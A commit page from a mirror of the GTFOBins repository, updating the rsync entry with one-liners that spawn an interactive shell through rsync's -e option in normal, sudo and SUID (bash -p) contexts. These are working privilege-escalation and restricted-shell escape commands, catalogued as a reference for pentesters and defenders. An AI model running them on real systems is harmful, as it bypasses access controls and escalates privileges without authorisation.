mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Simplify rsync and add interactive execute
This commit is contained in:
parent
7822ec33e8
commit
acf29564cb
@ -1,9 +1,9 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
execute-non-interactive:
|
execute-interactive:
|
||||||
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
|
- code: rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
|
||||||
rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
|
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
|
- code: sudo rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
|
||||||
sudo rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
|
suid-enabled:
|
||||||
|
- code: ./rsync -e 'bash -p -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user